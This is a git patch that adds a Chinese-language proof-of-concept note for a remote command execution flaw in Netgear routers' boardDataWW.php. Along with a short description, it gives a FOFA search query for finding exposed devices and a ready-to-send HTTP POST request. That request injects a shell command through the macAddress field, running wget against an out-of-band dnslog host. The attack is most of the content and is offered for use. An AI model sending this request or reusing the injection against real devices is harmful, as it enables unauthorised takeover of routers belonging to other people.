From 6cf80b54622f46afdf4a95bd7d2bd3d1b368df00 Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Sun, 24 Mar 2024 21:09:02 +0800 Subject: [PATCH] =?UTF-8?q?Create=20Netgear=E8=B7=AF=E7=94=B1=E5=99=A8boar?= =?UTF-8?q?dDataWW.php=E5=AD=98=E5=9C=A8RCE=E6=BC=8F=E6=B4=9E.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Netgear路由器boardDataWW.php存在RCE漏洞.md | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 Netgear路由器boardDataWW.php存在RCE漏洞.md diff --git a/Netgear路由器boardDataWW.php存在RCE漏洞.md b/Netgear路由器boardDataWW.php存在RCE漏洞.md new file mode 100644 index 0000000..d59ce37 --- /dev/null +++ b/Netgear路由器boardDataWW.php存在RCE漏洞.md @@ -0,0 +1,20 @@ +## Netgear路由器boardDataWW.php存在RCE漏洞 + +NetGear是一家知名的网络设备制造商,其路由器产品线多样化,性能稳定,易用性强,安全性高,并提供良好的技术支持和售后服务。适合家庭和企业用户使用,是可靠的网络设备品牌选择。 +该产品boardDataWW.php处存在RCE漏洞,恶意攻击者可能会利用此漏洞执行恶意命令,最终导致服务器失陷。 + +## fofa +``` +title=="Netgear" +``` + + +## poc +``` +POST /boardDataWW.php HTTP/1.1 +Host: +Accept: */* +Content-Type: application/x-www-form-urlencoded + +macAddress=112233445566%3Bwget+http%3A%2F%2Fnstucl.dnslog.cn%23®info=0&writeData=Submit +```